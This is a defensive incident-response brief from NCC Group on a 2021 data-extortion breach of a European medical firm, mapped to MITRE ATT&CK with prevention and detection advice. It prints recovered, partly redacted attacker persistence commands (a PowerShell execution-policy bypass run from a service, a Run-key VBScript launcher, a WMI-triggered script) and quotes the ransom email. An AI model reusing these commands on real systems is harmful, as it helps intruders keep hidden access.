TLP: AMBER

Classification
RESTRICTED

Express Attack Brief 016

WinRAR and out you are

Version:	**1.0**
Publication date:	**2023-01-18**
Prepared for:	**NCC Group**

Table of contents

Document information

Document purpose

This document has been prepared for NCC Group.

This document describes the attack path observed during a recent cyber security incident. It presents the steps taken by the threat actor, including associated Tactic, Technique, and Procedure (TTP) details. Where possible the TTPs are expressed in MITRE ATT&CK terminology to aid in correlation and cross-referencing with other threat intelligence sources.

This document is aimed at helping readers learn from the incident and prepare to defend against possible future attacks. Its attack path structure is designed to show how the latest cyber attacks actually happen in the real world. The inclusion of TTP details allows readers to map the attack steps to their own organization, validating their security posture, and feeding into their risk management process.

Document structure

Chapter 1 describes the overall attack and gives a summary of the steps taken by the threat actor.

Chapter 2 describes the attack steps in detail, including possible prevention and detection opportunities where appropriate.

Chapter 3 lists the MITRE ATT&CK TTPs observed in the attack in a convenient table format.

Document classification

This document is shared with NCC Group as **TLP:AMBER** according to the Traffic Light Protocol (TLP). Recipients may only share this document with members of their own organization. Recipients may additionally share this document with their IT service providers for the sole purpose of validating or improving the security delivered to the recipients.

This document is classified as **RESTRICTED**. Any information published in this document is intended exclusively for NCC Group. Any use by a party other than NCC Group is prohibited unless explicitly granted by NCC Group. The information contained in this document may be **RESTRICTED** in nature and fall under a pledge of secrecy.

Misuse of this document or any of its information is prohibited and will be prosecuted to the maximum penalty possible. NCC Group cannot be held responsible for any misconduct or malicious use of this document by a third party or damage caused by its contained information.

1. Attack overview

1.1. Attack description

Timeframe	2021 Q4
Threat type	Data extortion
Sector relevance	All sectors
Geographic relevance	Global

This EAB describes a data leak extortion attack on a European company (hereafter: victim) in the medical sector during Q4 of 2021. The company got first notified of the breach by local and international authorities. The authorities stated that they had observed internal information and RDP credentials on online hacking forums. The authorities also stated they had reasons to believe that a “full domain compromise” had taken place.

During the investigation it became clear that a cyber breach had indeed taken place at the victim. Our incident response team found traces of the adversary that were several months old, meaning that the adversary had gone undetected for months. Due to insufficient logging, it was difficult to determine what the initial access vector had been. However, traces of Bloodhound and ‘Advanced IP scanner’ were found, wich marked the Discovery phase of the attack. Therefore, this EAB will start at this point.

To maintain access to the internal network the adversary used several techniques to execute scripts. Those scripts would be executed each time an infected machine would boot, thus maintaining the access for the adversary. Afterwards, it became clear that the adversary had gotten control of other machines and accounts within the network of the victim. However, it was not possible to determine how this lateral movement or privilege escalation had taken place. Ultimately, the adversary compressed several files using WinRAR and exfiltrated those packagesusing MegaSync, which syncs data to the MEGA cloud storage solution.

The adversary contacted the victim via email stating that they had exfiltrated sensitive data. A ransom was demanded. The adversary guaranteed that the exfiltrated data would be deleted if the demanded ransom was paid. If the victim did not comply, the data would be sold online.

This incident contains multiple ‘lessons learned’ that can be applied by a range of organisations. This EAB will cover the steps of this meticulous adversary and how their steps could have been detected and prevented.

1.2. Attack path summary

Time	Tactic	Action	Target tech
Day 1, 07:36	Discovery, Execution	Internal IP and AD enumeration	
Day 12, 12:00	Lateral Movement, Privilege Escalation	Lateral movement and privilege escalation	
Day 50, 15:29	Persistence, Execution	Service creation for persistence	Windows
Day 79, 07:40	Persistence	vbscript for persistence	Windows
Day 93, 19:25	Collection	Data collection using WinRAR	
Day 93, 19:27	Exfiltration	MegaSync data exfiltration	
Day 105, 20:56	Persistence	Timed WMI event for persistence	Windows
Day 115, 12:05	Impact	Extortion	

Times of day are expressed in the primary timezone of the victim organization where our incident response activities took place.

2. Attack path

This chapter describes the attack steps in detail, including possible prevention and detection opportunities where appropriate.

2.1. Internal IP and AD enumeration

Timestamp	Day 1, 07:36
Techniques	**T1087.002** Domain Account to achieve **TA0007** Discovery **T1482** Domain Trust Discovery to achieve **TA0007** Discovery **T1615** Group Policy Discovery to achieve **TA0007** Discovery **T1069** Permission Groups Discovery to achieve **TA0007** Discovery **T1046** Network Service Discovery to achieve **TA0007** Discovery **T1059** Command and Scripting Interpreter to achieve **TA0002** Execution
Tools	Bloodhound, Advanced IP Scanner, ADFind, Advanced Port Scanner

The adversary used multiple tools to enumerate the internal network.

Due to insufficient logging and data retention it was not possible to determine the exact steps of the adversary. However, traces of enumeration tools were found on the C: drive of one of the user accounts. Based on the nature of these tools, it was deemed likely that these were used for enumeration.

```
/Profile/Documents/*REDACTED*_BloodHound.zip

C:/Users/Public/Music/*REDACTED*_BloodHound.zip

C:/Users/*REDACTED*/Temp/2/Advanced IP Scanner2/advanced_ip_scanner.exe

C:/programdata/AdFind.exe

C:/Users/*REDACTED*/Temp/15/Advanced Port Scanner 2/advanced_port_scanner.exe
```

BloodHound can be used to map out the victim's domains and privileged user accounts. This information provides detailed insight into potential paths for lateral movement and privilege escalation, including the quickest path to gaining Domain Administrator privileges. Adding to this AdFind can be used to discover remote systems by querying the victim's Active Directory.

Besides the AD, the network as a whole was of interest to the adversary. The usage of the tool 'Advanced Port/IP Scanner' shows this interest. As the name suggests, this tool can be used to scan a given IP or port range, providing the adversary with information about the machines and services within the internal network.

Prevention

Disable or Remove Feature or Program

Source: ATT&CK mitigation M1042 in the context of technique T1046
Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.

Ensure that unnecessary ports and services are closed to prevent risk of discovery and potential exploitation.

Network Segmentation

Source: ATT&CK mitigation M1030 in the context of technique T1046
Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network. Configure separate virtual private cloud (VPC) instances to isolate critical cloud systems.

Ensure proper network segmentation is followed to protect critical servers and devices.

Operating System Configuration

Source: ATT&CK mitigation M1028 in the context of technique T1087.002
Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.

Prevent administrator accounts from being enumerated when an application is elevating through UAC since it can lead to the disclosure of account names. The Registry key is located at `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\CredUI\EnumerateAdministrators`. It can be disabled through GPO: Computer Configuration > [Policies] > Administrative Templates > Windows Components > Credential User Interface: Enumerate administrator accounts on elevation. (UCF: The system must require username and password to elevate a running application., 2017-12-18)

Execution Prevention

Source: ATT&CK mitigation M1038 in the context of technique T1059
Block execution of code on a system through application control, and/or script blocking.

Use application control where appropriate. For example, PowerShell Constrained Language mode can be used to restrict access to sensitive or otherwise dangerous language elements such as those used to execute arbitrary Windows APIs or files (e.g., `Add-Type`). (PowerShell Team: PowerShell Constrained Language Mode, 2017-11-02)

Code signing

Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing. (https://attack. mitre.org/mitigations/M1045/)

Detection

Monitor Network Traffic Flow

Source: ATT&CK data component Network Traffic Flow in the context of technique T1046
Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.

Monitor Command Execution

Source: ATT&CK data component Command Execution in the context of technique T1046
Monitor executed commands and arguments that may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation.

Monitor Command Execution

Source: ATT&CK data component Command Execution in the context of technique T1087.002
Monitor for execution of commands and arguments associated with enumeration or information

gathering of domain accounts and groups, such as `net user /domain` and `net group /domain`, `dscacheutil -q group` on macOS, and `ldapsearch` on Linux.

System and network discovery techniques normally occur throughout an operation as an adversary learns the environment, and also to an extent in normal network operations. Therefore discovery data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.

Monitor Group Enumeration
Source: ATT&CK data component Group Enumeration in the context of technique T1087.002
Monitor for logging that may suggest a list of available groups and/or their associated settings has been extracted, ex. Windows EID 4798 and 4799.

Monitor OS API Execution
Source: ATT&CK data component OS API Execution in the context of technique T1087.002
Monitor for API calls that may attempt to gather information about domain accounts such as type of user, privileges and groups.

Monitor Active Directory Object Access
Source: ATT&CK data component Active Directory Object Access in the context of technique T1615
Monitor for abnormal LDAP queries with filters for `groupPolicyContainer` and high volumes of LDAP traffic to domain controllers. Windows Event ID 4661 can also be used to detect when a directory service has been accessed.

2.2. Lateral movement and privilege escalation

Timestamp	Day 12, 12:00
Techniques	**TA0008** Lateral Movement *(No specific technique)* **TA0004** Privilege Escalation *(No specific technique)*

Due to insufficient logging and data retention, it was not possible to determine how the adversay moved through the network and escalated their privileges.

Part of the reason for the absence of data was the long period in which the attack went unnoticed. Approximately three months went by between initial access and sending the ransom note. There was no central logging solution in place. For that reason, the investigation had to be done based on the local logging of the machines. Unfortunately, the local logging went back about only one month. This had the effect that no usable data was present to determine how the adversay performed lateral movement and escalated their privileges.

2.3. Service creation for persistence

Timestamp	Day 50, 15:29
Techniques	**T1543.003** Windows Service to achieve **TA0003** Persistence **T1059.001** PowerShell to achieve **TA0002** Execution
Target tech	Windows

The adversary created a service in order to maintain access.

A Windows service can be configured to run a command on startup. The adversary used this feature to run the following:

```
cmd.exe /c start powershell.exe -noni -nop -exe \
bypass -f \\\\192.168.*REDACTED*\\ADMIN$\\temp\\*REDACTED*.ps1
```

Here the adversary uses cmd.exe to execute powershell which triggers a ps1 script. The given parameters are used to make the execution less obvious to the end user.

```
  "-noni" is used to make the session noninteractive.
  This disables the ability for the session to prompt.

  "-nop" is good practice when running a script through a service.
  This will prevent Windows loading profiles before running the script
  as this may cause unexpected behaviour.

  "-exe bypass" will bypass the execution policy
  that prevents scripts from being executed.
```

Furthermore the aformentioned command executes a remote script

Prevention

User Account Management

Source: ATT&CK mitigation M1018 in the context of technique T1543.003
Manage the creation, modification, use, and permissions associated to user accounts.

Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations.

Execution Prevention

Source: ATT&CK mitigation M1038 in the context of technique T1059.001
Block execution of code on a system through application control, and/or script blocking.

Use application control where appropriate. PowerShell Constrained Language mode can be used to restrict access to sensitive or otherwise dangerous language elements such as those used to execute arbitrary Windows APIs or files (e.g., `Add-Type`). (PowerShell Team: PowerShell Constrained Language Mode, 2017-11-02)

Detection

Monitor Service Creation

Source: ATT&CK data component Service Creation in the context of technique T1543.003
Creation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Miroshnikov, A. & Hall, J: 4697(S): A service was installed in the system, 2017-04-18) (Hardy, T. & Hall, J: Use Windows Event Forwarding to help with intrusion detection, 2018-02-15)), especially those associated with unknown/abnormal drivers. New, benign services may be created during installation of new software.

Implementation 1 : Creation of new services with unusual directory paths such as temporal files in APPDATA

Detection Pseudocode

```
suspicious_services = filter ServiceName, ServiceFilePath, ServiceType, ServiceStartType,
ServiceAccountName where (event_id == "7045" OR event_id == "4697") AND (ServiceFilePath
LIKE '%APPDATA%' OR ServiceImagePath LIKE '%PUBLIC%')
```

Detection Notes

- For Security Auditing event id 4697, enable success events for category System and subcategory Security System Extension.

2.4. vbscript for persistence

Timestamp	Day 79, 07:40
Techniques	**T1547.001** Registry Run Keys / Startup Folder to achieve **TA0003** Persistence
Tools	Runkeys, vbscript
Target tech	Windows

The adversary made use of Windows runkeys in order te execute a vbscript.

The following key was used in order to achieve this:

```
HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
```

With this key the following command was executed:

```
wscript.exe C:/Users/*REDACTED_USER*/AppData/Roaming/ \
*REDACTED_PATH*/*REDACTED*.vbs
```

A "HKEY_CURRENT_USER" key was used. This means that the created key only affects the user it was created under. Thus the listed command will only execute when that user logs on.

The investigators were able to retrieve the used files.

vbs file:

```
set wshShell = WScript.CreateObject("WScript.Shell")
appData = wshShell.expandEnvironmentStrings("%APPDATA%")
wshShell.Run chr(34) & appData + "\*REDACTED_PATH*\*REDACTED*.bat" & chr(34), 0
```

.bat file:

```
  cd %appdata%\*REDACTED_PATH*
  Dism.exe
```

Prevention

Difficult to prevent

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features. (Source: MITRE ATT&CK)

Detection

Monitor Windows Registry Key Creation

Source: ATT&CK data component Windows Registry Key Creation in the context of technique T1547.001
Monitor for newly created windows registry keys that may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key.

Monitor Windows Registry Key Modification

Source: ATT&CK data component Windows Registry Key Modification in the context of technique T1547.001
Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations. (Russinovich, M: Autoruns for Windows v13.51, 2016-01-04)

Monitor Process Creation

Source: ATT&CK data component Process Creation in the context of technique T1547.001
Monitor for newly executed processes executed from the Run/RunOnce registry keys through Windows EID 9707 or "Software\Microsoft\Windows\CurrentVersion\Run" and "Software\Microsoft\Windows\CurrentVersion\RunOnce" registry keys with the full command line.

2.5. Data collection using WinRAR

Timestamp	Day 93, 19:25
Techniques	**T1560.001** Archive via Utility to achieve **TA0009** Collection
Tools	WinRAR

The adversary used WinRAR to compress files in order to prepare them for exfiltration.

Files can be transferred one by one or as a compressed archive. Doing it one by one is prone to errors and increases the chance of detection. For this reason,many adversaries make use of compressing the data before exfiltrating it - in this case with WinRAR. This became clear because the following was observed on the logs:

```
C:/PerfLogs/Admin/winrar-x64-610.exe
C:/PerfLogs/winrar-x64-610.exe
```

After winRAR was present on the system, the investigators noticed that .rar files were being created. These files looked similar to files that were present on an internal file server.

Prevention

Hard to prevent

These kind of tools have a lot of legitimate use cases. So restricting acces to them can disrupt normal workflows.

Detection

Monitor File Creation

Source: ATT&CK data component File Creation in the context of technique T1560.001
Monitor newly constructed files being written with extensions and/or headers associated with

compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.

Additional info specific to this report:
Monitoring this type of behaviour can result in multiple false positives. For this reason, it is recommended to treat this event in context with other alerts.

Monitor Process Creation

Source: ATT&CK data component Process Creation in the context of technique T1560.001
Monitor for newly constructed processes and/or command-lines that aid in compression or encrypting data that is collected prior to exfiltration, such as 7-Zip, WinRAR, and WinZip.

Additional info specific to this report:
As mentioned before, it is wise to consider this activity in context with other alerts.

2.6. MegaSync data exfiltration

Timestamp	Day 93, 19:27
Techniques	**T1567.002** Exfiltration to Cloud Storage to achieve **TA0010** Exfiltration
Tools	MegaSync

Traces were found indicating that the Adversary used MegaSync in order to exfiltrate data.

Our investigation team found traces of the MegaSync installer and application. This application allows users to synchronize local files to a MEGA cloud storage, allowing the adversary to reliably exfiltrate the data. Unfortunately, no logs or artifacts were present relating to the execution of MegaSync, making it impossible to determine the exact usage of MegaSync. MegaSync was not used by the victim. The investigators observed files being prepared for exfiltration so it was deemed highly likely that MegaSync was used to exfiltrate that data.

Prevention

Restrict Web-Based Content

Source: ATT&CK mitigation M1021 in the context of technique T1567.002
Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.

Web proxies can be used to enforce an external network communication policy that prevents use of unauthorized external services.

Detection

Monitor Network Connection Creation

Source: ATT&CK data component Network Connection Creation in the context of technique T1567.002
Monitor for newly constructed network connections to cloud services associated with abnormal or non-browser processes.

Monitor Network Traffic Flow

Source: ATT&CK data component Network Traffic Flow in the context of technique T1567.002
Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.

2.7. Timed WMI event for persistence

Timestamp	Day 105, 20:56
Techniques	**T1546.003** Windows Management Instrumentation Event Subscription to achieve **TA0003** Persistence
Tools	WMI
Target tech	Windows

The Adversary used a timed WMI event to execute a script.

Using WMI (Windows Management Instrumentation) it is possible to execute code when a defined event occurs. One of these events can be SystemUpTime. This can be used to create an event that triggers when the system is up for a certain amount of time, thus creating a way to execute code on 'startup'.

Using this the Adversary was able to execute

```
powershell.exe -ep bypass -file C:\Windows\system32\config\systemprofile\ /
AppData\Roaming\*REDATCTED_PATH*\*REDACTED*.ps1
```

Prevention

Behavior Prevention on Endpoint

Source: ATT&CK mitigation M1040 in the context of technique T1546.003
Use capabilities to prevent suspicious behavior patterns from occurring on endpoint systems. This could include suspicious process, file, API call, etc. behavior.

On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent malware from abusing WMI to attain persistence. (Microsoft: Use attack surface reduction rules to prevent malware infection, 2021-07-02)

Detection

Monitor Command Execution

Source: ATT&CK data component Command Execution in the context of technique T1546.003
Monitor executed commands and arguments that can be used to register WMI persistence, such as the `Register-WmiEvent` PowerShell (T1059.001) cmdlet (Microsoft: None, 2020-01-24)

2.8. Extortion

Timestamp	Day 115, 12:05
Techniques	**TA0040** Impact *(No specific technique)*
Tools	protonmail

The adversary contacted the victim with an email stating their demands.

This email contained the following text:

"Hello, we are the ones who hacked into your system and downloaded all your files, we have the personal data of your employees (ID, profiles) , as well as all your internal accounting for all branches, reporting, salary information, information about all your clients. If you do not pay us, then all this information will go into public access and we will put it up for auction, there are also shadow lawyers who buy up private information of corporations and then use it and receive monetary compensation from this, we recommend that you negotiate with us and pay us for not disclosing and we guarantee you that we will delete everything on our servers and transfer it to you. Sample files attached to email."

The attachments of this email indeed contained sensitive information about the victim. Receiving an email like this can make anybody
emotional. However, simply complying with the adversary's demands doesn't guarantee a good outcome. You can never be certain that the adversary deleted or didn't sell the exfiltrated data.

Starting an investigation will clarify what happend and what data got exfiltrated. This will help a victim get ahold of the situation and make decisions based on facts, not threats.

3. MITRE ATT&CK TTPs

This chapter lists the MITRE ATT&CK Tactics, Techniques, and Procedures (TTPs) of the attack described in this report. The TTPs are listed in the order they were observed in the attack. They are formatted in a table to facilitate ingestion of this data into other tools, such as Threat Intelligence Platforms (TIPs).

Note that each tactic-technique-procedure combination is listed here, which can lead to apparent duplication. For example, if a procedure is linked to more than one technique, it will be listed repeatedly for each technique.

Tactic	Technique	Procedure
TA0007 Discovery	**T1087.002** Domain Account	The adversary used multiple tools to enumerate the internal network.
TA0007 Discovery	**T1482** Domain Trust Discovery	The adversary used multiple tools to enumerate the internal network.
TA0007 Discovery	**T1615** Group Policy Discovery	The adversary used multiple tools to enumerate the internal network.
TA0007 Discovery	**T1069** Permission Groups Discovery	The adversary used multiple tools to enumerate the internal network.
TA0007 Discovery	**T1046** Network Service Discovery	The adversary used multiple tools to enumerate the internal network.
TA0002 Execution	**T1059** Command and Scripting Interpreter	The adversary used multiple tools to enumerate the internal network.
TA0008 Lateral Movement		Due to insufficient logging and data retention, it was not possible to determine how the adversay moved through the network and escalated their privileges.
TA0004 Privilege Escalation		Due to insufficient logging and data retention, it was not possible to determine how the adversay moved through the network and escalated their privileges.
TA0003 Persistence	**T1543.003** Windows Service	The adversary created a service in order to maintain access.
TA0002 Execution	**T1059.001** PowerShell	The adversary created a service in order to maintain access.
TA0003 Persistence	**T1547.001** Registry Run Keys / Startup Folder	The adversary made use of Windows runkeys in order te execute a vbscript.
TA0009 Collection	**T1560.001** Archive via Utility	The adversary used WinRAR to compress files in order to prepare them for exfiltration.
TA0010 Exfiltration	**T1567.002** Exfiltration to Cloud Storage	Traces were found indicating that the Adversary used MegaSync in order to exfiltrate data.
TA0003 Persistence	**T1546.003** Windows Management Instrumentation Event Subscription	The Adversary used a timed WMI event to execute a script.
TA0040 Impact		The adversary contacted the victim with an email stating their demands.